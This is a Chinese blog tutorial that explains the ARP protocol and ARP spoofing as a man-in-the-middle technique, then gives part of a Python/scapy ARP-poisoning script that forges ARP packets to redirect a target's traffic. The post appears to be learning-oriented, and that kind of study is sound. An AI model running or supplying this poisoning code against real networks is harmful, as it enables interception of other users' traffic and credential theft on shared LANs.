Python黑帽编程-ARP之一

关注

VIP免费原创最新推荐文章于 2026-02-28 11:45:09 发布 3k 阅读 AI 写同款· GEO 优化 ›

python黑帽子-第一章-实现一个TCP代理就是再客户端和服务器中间，建立一个中间商。客户端把需要发给服务器的数据，先转发给中间商，然后中间商再转发给服务器。服务器再把响应信息发给中间商，中间商再转发给客户端。阅读详情

前言：
在知乎上看见这篇文章，正好对网络安全也有些兴趣，于是动手实践一番。
本文作者：微寒
版权声明：转载请私信，并注明原文地址
本文地址：http://blog.csdn.net/supercooly/article/details/53956494
参考文章：https://zhuanlan.zhihu.com/p/24645819
参考文章：http://bbs.ichunqiu.com/thread-13429-1-1.html

一、ARP协议

中文名称：地址解析协议

详细背景及相关知识请参考原文及百度百科。
维基百科

地址解析协议（Address Resolution Protocol），其基本功能为透过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。它是IPv4中网络层必不可少的协议，不过在IPv6中已不再适用，并被邻居发现协议（NDP）所替代。

在以太网协议中规定，同一局域网中的一台主机要和另一台主机进行直接通信，必须要知道目标主机的MAC地址。而在TCP/IP协议中，网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时，数据链路层的以太网协议接到上层IP协议提供的数据中，只包含目的主机的IP地址。于是需要一种方法，根据目的主机的IP地址，获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析（address resolution）就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。

简而言之，在网络架构模型中，TCP/IP协议中只有IP地址，可以通过DNS协议获取。与之类似，网络层协议需要依赖更底层的数据链路层，该层转发数据包并不能识别IP地址，而是直接使用mac地址，所以就需要有个映射关系，这个就是ARP协议。我的理解是，ARP是数据链路层的“DNS”。ARP攻击就是直接定向或者广播自己的mac地址为关键的网络节点，让被攻击机器发送的数据包，发送到攻击机，从而实现中间人攻击。

我们经常听闻的在公共场合连接WIFI有可能遭遇被盗号等危害，其中的一种方式就是ARP攻击，由上面的定义可知，并不需要自己创建一个WIFI而窃取他人信息，只需要在一个局域网中即可。

二、环境

OS：macOS 10.12

Python 3.5

scapy-python3 （pip或easy-install 安装即可）

scapy还需要libnet库支撑，第四节中有详细的安装步骤。

三、Python代码

原文链接

原文是2.X的Python版本，修改为Python3.x版本如下：

#!/usr/bin/python3
import sys
from scapy.all import (
    get_if_hwaddr,
    ARP,
    Ether,
    sendp
)
from scapy.layers.l2 import (
    getmacbyip
)
from optparse import OptionParser
import os


def main():
    try:
        if os.geteuid() != 0:
            print("[-] Run me as root")
            sys.exit(1)
    except Exception as msg:
        print(msg)

    usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req',
                      help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False,
                      help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)
    mac = get_if_hwaddr(options.interface)

    def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
                                                       pdst=options.target)
        return pkt